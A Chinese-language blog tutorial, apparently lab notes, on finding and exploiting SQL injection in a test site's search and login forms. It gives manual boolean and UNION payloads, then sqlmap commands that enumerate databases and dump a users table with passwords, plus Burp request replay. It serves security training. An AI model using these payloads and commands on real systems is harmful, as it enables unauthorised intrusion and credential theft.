Sqlmap

Posted by r3kind1e on July 5, 2022

Sqlmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sqlmap --help

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST (e.g. "id=1")

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)

1
2
3
4
5
http://sqlmap.test
http://sqlmap.test/search.php?search=noexists' # 报错,该参数似乎易受攻击
http://sqlmap.test/search.php?search=notexists' or 1=1; -- - # 永真,输出中有所有已经发布的博客
http://sqlmap.test/search.php?search=notexists' or 1=2; -- - # 永假,没有返回数据

这说明search包含布尔注入。

让我们尝试联合注入:

我们得到报错,这是因为原始查询和我们注入的查询的列数不同。

1
2
3
http://sqlmap.test/search.php?search=notexists' UNION SELECT 'els1'; -- -
http://sqlmap.test/search.php?search=notexists' UNION SELECT 'els1','els2'; -- -
http://sqlmap.test/search.php?search=notexists' UNION SELECT 'els1','els2','els3'; -- -

应用程序没有触发任何的错误,我们可以说该查询包含4个字段,并且els2,els2显示在页面中。此外,我们知道search有联合注入,比利用布尔注入更加高效。

1
http://sqlmap.test/search.php?search=notexists' UNION SELECT 'els1','els2','els3','els3'; -- -

告诉工具使用-p测试search参数。

告诉sqlmap使用那种注入技术,大多数时候,sqlmap自己设置好技术,但是这意味着执行有噪音且容易被发现的攻击面。除此之外,一些Web应用程序会崩溃,或者无响应。所以对每一个利用场景,配置sqlmap使用最好的技术。--technique=U,使用联合注入。

1
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U

sqlmap自动检测后端数据库,点击回车,只执行针对mysql的测试。我们也可以通过再次点击回车,让工具执行所有对mysql的测试。

在执行测试后,sqlmap确定search有联合注入。所以我们可以在这里开始测试。

为了验证我们可以获取后端数据库的banner,--banner

1
2
3
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U --banner

banner: '5.5.41.0-0+wheezy1'

这次,我们想知道sqlmap使用了哪些payloads,所以我们在命令行中使用-v3

--fresh-queries:删除缓存。

这是sqlmap用来提取数据库banner的payload。

1
2
3
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U --banner -v3 --fresh-queries

[PAYLOAD] n' UNION ALL SELECT NULL, NULL, CONCAT(0x71746c6171, IFNULL(CAST(VERSION() AS CHAR), 0x20), 0x7172657671), NULL#

你可以手动测试它,通过将它复制粘贴到search参数的地址栏中。将#替换成URL编码后的版本。我们可以在输出页面看到结果。

1
http://sqlmap.test/search.php?search=n' UNION ALL SELECT NULL, NULL, CONCAT(0x71746c6171, IFNULL(CAST(VERSION() AS CHAR), 0x20), 0x7172657671), NULL%23

我们可以枚举Web应用程序包含的数据库用户,通过使用--users命令。这里只有一个用户:

1
2
3
4
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U --users

database management system users [1]:
[*] 'blog'@'%'

检查哪个数据库连接到应用程序,通过使用:--dbs

1
2
3
4
5
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U --dbs

available databases [2]:
[*] blogdb
[*] information_schema

枚举blogdb数据库中的表。这将列出表。

1
2
3
4
5
6
7
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U -D blogdb --tables

Database: blogdb
[3 tables]
article
comments
users

列出users表中的列:

1
2
3
4
5
6
7
8
9
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U -D blogdb -T users --columns

Database: blogdb
Table: users
[3 columns]
Column Type
id int(11)
password text
username text

获取username、password列中的数据:

1
2
3
4
5
6
7
8
9
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U -D blogdb -T users -C username,password --dump

Database: blogdb
Table: users
[3 entries]
username password
admin   test1234
john jordan23
pts _h4Rd2-GU3sS!

我们尝试以admin的身份登录,凭证正确。

我们首先用sqlmap发现想要dump的数据,然后dump下来。直接使用SQL注入dump数据不仅有很大噪音,对客户的基础设施来说处理起来也太沉重,尤其是在大型数据库中。

GET参数并不是仅有的执行SQL注入的方式。每个用户输入都必须在参与期间被测试,比如说,我们可以测试登录表单。登录表单使用HTTP POST方法,所以我们需要使用代理拦截数据并且测试它。

Firefox浏览器:

1
2
3
4
Preferences->Advanced->Network->Settings->Manual proxy configuration:

HTTP Proxy: 127.0.0.1 Port: 8080
check use this proxy server for all protocols

尝试用随机凭证登录,Burp拦截了请求,简单的放行它,验证该凭证无效。

再次拦截,右键->Send to Repeater。进入Repeater标签,Web应用程序将我们重定向回login.php页面。

1
2
3
4
5
6
POST /login.php HTTP/1.1

user=a&pass=a

HTTP/1.1 302 Found
Location: login.php

尝试在POST参数user进行注入,user似乎易受攻击。

1
2
3
4
5
6
7
8
POST /login.php HTTP/1.1

user=a'&pass=a

HTTP/1.1 302 Found
Location: login.php

Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in /var/www/login.php on line 17

看看pass是否也是这样。注入pass参数没有让应用程序报错,它表现正常。pass似乎没有SQL注入。

1
2
3
4
5
6
POST /login.php HTTP/1.1

user=a&pass=a'

HTTP/1.1 302 Found
Location: login.php

更详细地尝试user参数,输出中多了三个HTTP头部字段。

1
2
3
4
5
6
7
8
POST /login.php HTTP/1.1

user=a' or 1=1; -- -&pass=a

HTTP/1.1 302 Found
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

参数使用错误的payload,输出有所不同。

1
2
3
4
5
6
POST /login.php HTTP/1.1

user=a' or 1=2; -- -&pass=a

HTTP/1.1 302 Found
Location: login.php

使用返回<和下一个>按钮来验证这一点。

尝试其他永真条件:

1
2
3
4
5
6
7
8
POST /login.php HTTP/1.1

user=a' or 'elsrocks'='elsrocks'; -- -&pass=a

HTTP/1.1 302 Found
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

和其他永假条件:

1
2
3
4
5
6
POST /login.php HTTP/1.1

user=a' or 'elsrocks'='no'; -- -&pass=a

HTTP/1.1 302 Found
Location: login.php

user确实是一个有效的注入点,所以我们可以用sqlmap利用这个漏洞:

1
sqlmap -u http://sqlmap.test/login.php --data='user=a&pass=a' -p user --technique=B --banner

在login.php执行POST请求,发送user=a&pass=a作为请求体,它尝试在user参数中注入SQL命令,使用布尔注入技术,获取数据库banner。

不要跟随重定向:

1
sqlmap got a 302 redirect to 'http://sqlmap.test/login.php'. Do you want to follow? [Y/n] n

跳过测试其他数据库管理系统。

sqlmap发现user易受攻击。我们想要确认login页面使用数据库和search功能使用的数据库相同。使用--dbs命令枚举数据库。

1
2
3
4
5
sqlmap -u http://sqlmap.test/login.php --data='user=a&pass=a' -p user --technique=B --dbs

available databases [2]:
[*] blogdb
[*] information_schema
1
2
3
4
5
6
7
sqlmap -u http://sqlmap.test/login.php --data='user=a&pass=a' -p user --technique=B -D blogdb --tables

Database: blogdb
[3 tables]
article
comments
users

数据库相同,所以将不会处理更多重复的事。

URLs,GET消息,POST消息和头部字段,在命令行中书写太长了。

所以我们可以直接导出Burp Proxy拦截的请求,保存到文件中,在sqlmap中使用。

为了做到这一点,在Burp中,Proxy->右键Copy to file。将文件保存到root家目录,命名为bloglogin.req。返回终端,可以使用保存的请求:

sqlmap会执行和之前相同的请求,而不需要很长的命令行。

1
sqlmap -r /root/bloglogin.req -p user --technique=B --banner

你是否注意到,命令执行的特别快。-v3:详细地检查做了什么。

1
sqlmap -r /root/bloglogin.req -p user --technique=B --banner -v3

在DEBUG INFO中,执行了0个查询,因为banner是我们已经有的信息。

1
[DEBUG] performed 0 queries in 0.00 seconds

事实上,sqlmap存储目标的信息。

1
2
3
ls /usr/share/sqlmap/output/sqlmap.test/

dump log session.sqlite target.txt

如果你需要重新运行测试,或者只是重新开始,可以刷新session:--flush-session。这一次,sqlmap执行了100多次请求来获取banner。

1
2
3
sqlmap -r /root/bloglogin.req -p user --technique=B --banner -v3 --flush-session

[DEBUG] performed 119 queries in 1.26 seconds